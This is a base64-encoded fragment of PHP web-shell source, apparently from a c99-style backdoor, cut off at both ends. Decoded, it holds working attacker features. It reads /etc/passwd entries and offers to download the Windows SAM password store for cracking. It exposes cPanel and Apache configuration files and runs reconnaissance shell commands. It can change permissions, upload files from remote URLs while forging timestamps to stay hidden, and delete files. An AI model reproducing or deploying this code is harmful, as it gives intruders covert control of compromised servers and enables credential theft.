PSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPjwvYT48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkKSkuIjwvdGQ+PC90cj48L3RhYmxlPiI7DQp9DQp9DQppZiAoJHggPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgY2Fwcml2OGV4aXQoKTt9DQppZiAoJHggPT0gInNlY3VyaXR5Iikgew0KICBlY2hvICI8ZGl2IGNsYXNzPWJhcmhlYWRlcj4uOiBTZXJ2ZXIgU2VjdXJpdHkgSW5mb3JtYXRpb24gOi48L2Rpdj4iLg0KICAgICAgICI8dGFibGU+Ii4NCiAgICAgICAiPHRyPjx0ZD5PcGVuIEJhc2UgRGlyPC90ZD48dGQ+Ii4kaG9wZW5iYXNlZGlyLiI8L3RkPjwvdHI+IjsNCiAgZWNobyAiPHRkPlBhc3N3b3JkIEZpbGU8L3RkPjx0ZD4iOw0KICBpZiAoISR3aW4pIHsNCiAgICBpZiAoJG5peHBhc3N3ZCkgew0KICAgICAgaWYgKCRuaXhwYXNzd2QgPT0gMSkgeyRuaXhwYXNzd2QgPSAwO30NCiAgICAgIGVjaG8gIipuaXggL2V0Yy9wYXNzd2Q6PGJyPiI7DQogICAgICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQ0KICAgICAgaWYgKCFpc19udW1lcmljKCRuaXhwd2RfZSkpIHskbml4cHdkX2UgPSAkbml4cHdkcGVycGFnZTt9DQogICAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPVwic2VjdXJpdHlcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cIm5peHBhc3N3ZFwiIHZhbHVlPVwiMVwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dD1cIiBuYW1lPVwibml4cHdkX3NcIiB2YWx1ZT1cIiIuJG5peHB3ZF9zLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5peHB3ZF9lXCIgdmFsdWU9XCIiLiRuaXhwd2RfZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsNCiAgICAgICRpID0gJG5peHB3ZF9zOw0KICAgICAgd2hpbGUgKCRpIDwgJG5peHB3ZF9lKSB7DQogICAgICAgICR1aWQgPSBwb3NpeF9nZXRwd3VpZCgkaSk7DQogICAgICAgIGlmICgkdWlkKSB7DQogICAgICAgICAgJHVpZFsiZGlyIl0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMmZD0iLnVybGVuY29kZSgkdWlkWyJkaXIiXSkuIlwiPiIuJHVpZFsiZGlyIl0uIjwvYT4iOw0KICAgICAgICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOw0KICAgICAgICB9DQogICAgICAgICRpKys7DQogICAgICB9DQogICAgfQ0KICAgIGVsc2Uge2VjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PXNlY3VyaXR5Jm5peHBhc3N3ZD0xJmQ9Ii4kdWQuIlwiPjxiPjx1PkdldCAvZXRjL3Bhc3N3ZDwvdT48L2I+PC9hPiI7fQ0KICB9DQogIGVsc2Ugew0KICAgICR2ID0gJF9TRVJWRVJbIldJTkRJUiJdLiJccmVwYWlyXHNhbSI7DQogICAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCR2KSkge2VjaG8gIjx0ZCBjb2xzcGFuPTI+PGRpdiBjbGFzcz1meGVycm1zZz5Zb3UgY2FuJ3QgY3JhY2sgV2luZG93cyBwYXNzd29yZHMoIi4kdi4iKTwvZGl2PjwvdGQ+PC90cj4iOyB9DQogICAgZWxzZSB7ZWNobyAiWW91IGNhbiBjcmFjayBXaW5kb3dzIHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPXNhbSZkPSIuJF9TRVJWRVJbIldJTkRJUiJdLiJcXHJlcGFpciZmdD1kb3dubG9hZFwiPjx1PjxiPkRvd25sb2FkPC9iPjwvdT48L2E+LCBhbmQgdXNlIGxjcC5jcmFjaysgPy48L3RkPjwvdHI+Ijt9DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPiI7DQogIGVjaG8gIjx0cj48dGQ+Q29uZmlnIEZpbGVzPC90ZD48dGQ+IjsNCiAgaWYgKCEkd2luKSB7DQogICAgJHYgPSBhcnJheSgNCiAgICAgICAgYXJyYXkoIlVzZXIgRG9tYWlucyIsIi9ldGMvdXNlcmRvbWFpbnMiKSwNCiAgICAgICAgYXJyYXkoIkNwYW5lbCBDb25maWciLCIvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZyIpLA0KICAgICAgICBhcnJheSgiQXBhY2hlIENvbmZpZyIsIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIpLA0KICAgICAgICBhcnJheSgiQXBhY2hlIENvbmZpZyIsIi9ldGMvaHR0cGQuY29uZiIpLA0KICAgICAgICBhcnJheSgiU3lzbG9nIENvbmZpZyIsIi9ldGMvc3lzbG9nLmNvbmYiKSwNCiAgICAgICAgYXJyYXkoIk1lc3NhZ2Ugb2YgVGhlIERheSIsIi9ldGMvbW90ZCIpLA0KICAgICAgICBhcnJheSgiSG9zdHMiLCIvZXRjL2hvc3RzIikNCiAgICApOw0KICAgICRzZXAgPSAiLyI7DQogIH0NCiAgZWxzZSB7DQogICAgJHdpbmRpciA9ICRfU0VSVkVSWyJXSU5ESVIiXTsNCiAgICAkZXRjZGlyID0gJHdpbmRpciAuICJcc3lzdGVtMzJcZHJpdmVyc1xldGNcXCI7DQogICAgJHYgPSBhcnJheSgNCiAgICAgICAgYXJyYXkoIkhvc3RzIiwkZXRjZGlyLiJob3N0cyIpLA0KICAgICAgICBhcnJheSgiTG9jYWwgTmV0d29yayBNYXAiLCRldGNkaXIuIm5ldHdvcmtzIiksDQogICAgICAgIGFycmF5KCJMTSBIb3N0cyIsJGV0Y2Rpci4ibG1ob3N0cy5zYW0iKSwNCiAgICApOw0KICAgICRzZXAgPSAiXFwiOw0KICB9DQogIGZvcmVhY2ggKCR2IGFzICRzZWNfYXJyKSB7DQogICAgJHNlY19mID0gc3Vic3RyKHN0cnJjaHIoJHNlY19hcnJbMV0sICRzZXApLCAxKTsNCiAgICAkc2VjX2QgPSBydHJpbSgkc2VjX2FyclsxXSwkc2VjX2YpOw0KICAgICRzZWNfZnVsbCA9ICRzZWNfZC4kc2VjX2Y7DQogICAgJHNlY19kID0gcnRyaW0oJHNlY19kLCRzZXApOw0KICAgIGlmIChmaWxlX2dldF9jb250ZW50cygkc2VjX2Z1bGwpKSB7DQogICAgICBlY2hvICIgWyA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9JHNlY19mJmQ9Ii51cmxlbmNvZGUoJHNlY19kKS4iJmZ0PXR4dFwiPjx1PjxiPiIuJHNlY19hcnJbMF0uIjwvYj48L3U+PC9hPiBdICI7DQogICAgfQ0KICB9DQogIGVjaG8gIjwvdGQ+PC90cj4iOw0KDQogIGZ1bmN0aW9uIGRpc3BsYXlzZWNpbmZvKCRuYW1lLCR2YWx1ZSkgew0KICAgIGlmICghZW1wdHkoJHZhbHVlKSkgew0KICAgICAgZWNobyAiPHRyPjx0ZD4iLiRuYW1lLiI8L3RkPjx0ZD48cHJlPiIud29yZHdyYXAoJHZhbHVlLDEwMCkuIjwvcHJlPjwvdGQ+PC90cj4iOw0KICAgIH0NCiAgfQ0KICBpZiAoISR3aW4pIHsNCiAgICBkaXNwbGF5c2VjaW5mbygiT1MgVmVyc2lvbiIsbXlzaGVsbGV4ZWMoImNhdCAvcHJvYy92ZXJzaW9uIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJLZXJuZWwgVmVyc2lvbiIsbXlzaGVsbGV4ZWMoInN5c2N0bCAtYSB8IGdyZXAgdmVyc2lvbiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBOYW1lIixteXNoZWxsZXhlYygiY2F0IC9ldGMvaXNzdWUubmV0IikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIE5hbWUgKDIpIixteXNoZWxsZXhlYygiY2F0IC9ldGMvKi1yZWFsaXNlIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJDUFUgSW5mbyIsbXlzaGVsbGV4ZWMoImNhdCAvcHJvYy9jcHVpbmZvIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJSQU0iLG15c2hlbGxleGVjKCJmcmVlIC1tIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJIREQgU3BhY2UiLG15c2hlbGxleGVjKCJkZiAtaCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTGlzdCBvZiBBdHRyaWJ1dGVzIixteXNoZWxsZXhlYygibHNhdHRyIC1hIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJNb3VudCBPcHRpb25zIixteXNoZWxsZXhlYygiY2F0IC9ldGMvZnN0YWIiKSk7DQogICAgZGlzcGxheXNlY2luZm8oImNVUkwgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGN1cmwiKSk7DQogICAgZGlzcGxheXNlY2luZm8oImx5bnggaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGx5bngiKSk7DQogICAgZGlzcGxheXNlY2luZm8oImxpbmtzIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBsaW5rcyIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiZmV0Y2ggaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGZldGNoIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJHRVQgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIEdFVCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygicGVybCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggcGVybCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiV2hlcmUgaXMgQXBhY2hlPyIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgYXBhY2hlIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBwZXJsPyIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgcGVybCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIHByb2Z0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBwcm9mdHBkLmNvbmYiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkxvY2F0ZSBodHRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIGh0dHBkLmNvbmYiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkxvY2F0ZSBteS5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIG15LmNvbmYiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkxvY2F0ZSBwc3libmMuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBwc3libmMuY29uZiIpKTsNCiAgfQ0KICBlbHNlIHsNCiAgICBkaXNwbGF5c2VjaW5mbygiT1MgVmVyc2lvbiIsbXlzaGVsbGV4ZWMoInZlciIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiQWNjb3VudCBTZXR0aW5ncyIsbXlzaGVsbGV4ZWMoIm5ldCBhY2NvdW50cyIpKTsNCiAgfQ0KICBlY2hvICI8L3RhYmxlPlxuIjsNCn0NCmlmICgkeCA9PSAibWtmaWxlIikgew0KaWYgKCRta2ZpbGUgIT0gJGQpIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRta2ZpbGUpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IG9iamVjdCBhbHJlYWR5IGV4aXN0cyEiO30NCiAgZWxzZWlmICghZm9wZW4oJG1rZmlsZSwidyIpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IGFjY2VzcyBkZW5pZWQhIjt9DQogIGVsc2UgeyR4ID0gImYiOyAkZCA9IGRpcm5hbWUoJG1rZmlsZSk7IGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gJGYgPSBiYXNlbmFtZSgkbWtmaWxlKTt9DQp9DQplbHNlIHskeCA9ICRkc3BhY3QgPSAibHMiO30NCg0KfQ0KaWYgKCR4ID09ICJjaG1vZCIpIHsNCiAgJG1vZGUgPSBmaWxlcGVybXMoJGQuJGYpOw0KICBpZiAoISRtb2RlKSB7ZWNobyAiPGI+Q2hhbmdlIGZpbGUtbW9kZSB3aXRoIGVycm9yOjwvYj4gY2FuJ3QgZ2V0IGN1cnJlbnQgdmFsdWUuIjt9DQogIGVsc2Ugew0KICAgICRmb3JtID0gVFJVRTsNCiAgICBpZiAoJGNobW9kX3N1Ym1pdCkNCiAgew0KICAgJG9jdGV0ID0gIjAiLmJhc2VfY29udmVydCgoJGNobW9kX29bInIiXT8xOjApLigkY2htb2Rfb1sidyJdPzE6MCkuKCRjaG1vZF9vWyJ4Il0/MTowKS4oJGNobW9kX2dbInIiXT8xOjApLigkY2htb2RfZ1sidyJdPzE6MCkuKCRjaG1vZF9nWyJ4Il0/MTowKS4oJGNobW9kX3dbInIiXT8xOjApLigkY2htb2Rfd1sidyJdPzE6MCkuKCRjaG1vZF93WyJ4Il0/MTowKSwyLDgpOw0KICAgaWYgKGNobW9kKCRkLiRmLCRvY3RldCkpIHskeCA9ICJscyI7ICRmb3JtID0gRkFMU0U7ICRlcnIgPSAiIjt9DQogICBlbHNlIHskZXJyID0gIkNhbid0IGNobW9kIHRvICIuJG9jdGV0LiIuIjt9DQogIH0NCiAgaWYgKCRmb3JtKQ0KICB7DQogICAkcGVybXMgPSBwYXJzZV9wZXJtcygkbW9kZSk7DQogICBlY2hvICI8Yj5DaGFuZ2luZyBmaWxlLW1vZGUgKCIuJGQuJGYuIiksICIudmlld19wZXJtc19jb2xvcigkZC4kZikuIiAoIi5zdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkZC4kZikpLC00LDQpLiIpPC9iPjxicj4iLigkZXJyPyI8Yj5FcnJvcjo8L2I+ICIuJGVycjoiIikuIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1jaG1vZD48dGFibGUgYWxpZ249bGVmdCB3aWR0aD0zMDAgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz01Pjx0cj48dGQ+PGI+T3duZXI8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29bcl0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9Y2htb2Rfb1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L3RkPjx0ZD48Yj5Hcm91cDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3ddIHZhbHVlPTEiLigkcGVybXNbImciXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3hdIHZhbHVlPTEiLigkcGVybXNbImciXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvZm9udD48L3RkPjx0ZD48Yj5Xb3JsZDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3ddIHZhbHVlPTEiLigkcGVybXNbInciXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3hdIHZhbHVlPTEiLigkcGVybXNbInciXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1jaG1vZF9zdWJtaXQgdmFsdWU9XCJTYXZlXCI+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiI7DQogIH0NCn0NCn0NCmlmICgkeCA9PSAidXBsb2FkIikgew0KICAkdXBsb2FkbWVzcyA9ICIiOw0KICAkdXBsb2FkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdXBsb2FkcGF0aCk7DQogIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30NCiAgZWxzZWlmIChzdWJzdHIoJHVwbG9hZHBhdGgsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdXBsb2FkcGF0aCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkgew0KICAgIGdsb2JhbCAkX0ZJTEVTOw0KICAgICR1cGxvYWRmaWxlID0gJF9GSUxFU1sidXBsb2FkZmlsZSJdOw0KICAgIGlmICghZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKSB7DQogICAgICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30NCiAgICAgIGVsc2UgeyRkZXN0aW4gPSAkdXNlcmZpbGVuYW1lO30NCiAgICAgIGlmICghbW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7DQogICAgICAgICR1cGxvYWRtZXNzIC49ICJFcnJvciB1cGxvYWRpbmcgZmlsZSAiLiR1cGxvYWRmaWxlWyJuYW1lIl0uIiAoY2FuJ3QgY29weSBcIiIuJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0uIlwiIHRvIFwiIi4kdXBsb2FkcGF0aC4kZGVzdGluLiJcIiE8YnI+IjsNCiAgICAgIH0NCiAgICAgIGVsc2UgeyAkdXBsb2FkbWVzcyAuPSAiRmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkhPGJyPiIuJHVwbG9hZHBhdGguJGRlc3RpbjsgfQ0KICAgIH0NCiAgICBlbHNlaWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkgew0KICAgICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9DQogICAgICBlbHNlIHsNCiAgICAgICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOw0KICAgICAgICAkZGVzdGluID0gJGRlc3Rpbltjb3VudCgkZGVzdGluKS0xXTsNCiAgICAgICAgaWYgKGVtcHR5KCRkZXN0aW4pKSB7DQogICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICRiID0gIiI7DQogICAgICAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHsNCiAgICAgICAgICAgIGlmICgkaSA+IDApIHskYiA9ICJfIi4kaTt9DQogICAgICAgICAgICAkZGVzdGluID0gInVwbG9hZCIuJGI7DQogICAgICAgICAgICAkaSsrOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCghZXJlZ2koImh0dHA6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiaHR0cHM6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiZnRwOi8vIiwkdXBsb2FkdXJsKSkpIHtlY2hvICI8Yj5JbmNvcnJlY3QgVVJMITwvYj4iO30NCiAgICAgIGVsc2Ugew0KICAgICAgICAkc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVwbG9hZHVybCk7DQogICAgICAgICRkdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzdCw0KTsNCiAgICAgICAgaWYgKCEkY29udGVudCkgeyR1cGxvYWRtZXNzIC49ICAiQ2FuJ3QgZG93bmxvYWQgZmlsZSEiO30NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkdXBsb2FkcGF0aC4kZGVzdGluKTt9DQogICAgICAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOw0KICAgICAgICAgIGlmICghJGZwKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHdyaXRpbmcgdG8gZmlsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJGRlc3RpbikuIiE8YnI+Ijt9DQogICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICBmd3JpdGUoJGZwLCRjb250ZW50LHN0cmxlbigkY29udGVudCkpOw0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7dG91Y2goJHVwbG9hZHBhdGguJGRlc3Rpbiwkc3RhdFs5XSwkc3RhdFs4XSk7fQ0KICAgICAgICAgICAgJHVwbG9hZG1lc3MgLj0gIkZpbGUgc2F2ZWQgZnJvbSAiLiR1cGxvYWR1cmwuIiAhIjsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgZWxzZSB7IGVjaG8gIk5vIGZpbGUgdG8gdXBsb2FkISI7IH0NCiAgfQ0KICBpZiAoJG1pbmlmb3JtKSB7DQogICAgZWNobyAiPGI+Ii4kdXBsb2FkbWVzcy4iPC9iPiI7DQogICAgJHggPSAibHMiOw0KICB9DQogIGVsc2Ugew0KICAgIGVjaG8gIjx0YWJsZT48dHI+PHRkIGNvbHNwYW49MiBjbGFzcz1iYXJoZWFkZXI+Ii4NCiAgICAgICAgICIuOiBGaWxlIFVwbG9hZCA6LjwvdGQ+Ii4NCiAgICAgICAgICI8dGQgY29sc3Bhbj0yPiIuJHVwbG9hZG1lc3MuIjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+PGZvcm0gZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCIiLiRzdXJsLiJ4PXVwbG9hZCZkPSIudXJsZW5jb2RlKCRkKS4iXCIgbWV0aG9kPVBPU1Q+Ii4NCiAgICAgICAgICJGcm9tIFlvdXIgQ29tcHV0ZXI6PC90ZD48dGQ+PGlucHV0IG5hbWU9XCJ1cGxvYWRmaWxlXCIgdHlwZT1cImZpbGVcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPkZyb20gVVJMOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPVwidXBsb2FkdXJsXCIgdHlwZT1cInRleHRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdXBsb2FkdXJsKS4iXCIgc2l6ZT1cIjcwXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD5UYXJnZXQgRGlyZWN0b3J5OjwvdGQ+PHRkPjxpbnB1dCBuYW1lPVwidXBsb2FkcGF0aFwiIHNpemU9XCI3MFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+VGFyZ2V0IEZpbGUgTmFtZTo8L3RkPjx0ZD48aW5wdXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1PjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT11cGxvYWRhdXRvbmFtZSB2YWx1ZT0xIGlkPWRmND4gQ29udmVydCBmaWxlIG5hbWUgdG8gbG93ZXJjYXNlPC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJVcGxvYWRcIj4iLg0KICAgICAgICAgIjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT4iOw0KICB9DQp9DQppZiAoJHggPT0gImRlbGV0ZSIpIHsNCiAgJGRlbGVyciA9ICIiOw0KICBmb3JlYWNoICgkYWN0Ym94IGFzICR2KSB7DQogICAgJHJlc3VsdCA9IEZBTFNFOw0KICAgICRyZXN1bHQgPSBmc19ybW9iaigkdik7DQogICAgaWYgKCEkcmVzdWx0KSB7JGRlbGVyciAuPSAiQ2FuJ3QgZGVsZXRlICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO30NCiAgfQ0KICBpZiAoIWVtcHR5KCRkZWxlcnIpKSB7ZWNobyAiPGI+RGVsZXRpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRkZWxlcnI7fQ0KICAkeCA9ICJscyI7DQp9DQppZiAoISR1c2Vmc2J1ZmYpIHsNCiAgaWYgKCgkeCA9PSAicGFzdGUiKSBvciAoJHggPT0gImNvcHkiKSBvciAoJHggPT0gImN1dCIpIG9yICgkeCA9PSAidW5zZWxlY3QiKSkge2VjaG8gIjxjZW50ZXI+PGI+U29ycnksIGJ1ZmZlciBpcyBkaXNhYmxlZC4gRm9yIGVuYWJsZSwgc2V0IGRpcmVjdGl2ZSBcIlwkdXNlZnNidWZmXCIgYXMgVFJVRS48L2NlbnRlcj4iO30NCn0NCmVsc2Ugew0KICBpZiAoJHggPT0gImNvcHkiKSB7JGVyciA9ICIiOyAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJGFjdGJveCk7IGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkeCA9ICJscyI7IH0NCiAgZWxzZWlmICgkeCA9PSAiY3V0IikgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY3V0Il0sJGFjdGJveCk7IGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkeCA9ICJscyI7fQ0KICBlbHNlaWYgKCR4ID09ICJ1bnNlbGVjdCIpIHtmb3JlYWNoICgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0gZm9yZWFjaCAoJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fSBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJHggPSAibHMiO30NCiAgaWYgKCRhY3RlbXB0eWJ1ZmYpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7IGNhX3Nlc3NfcHV0KCRzZXNzX2R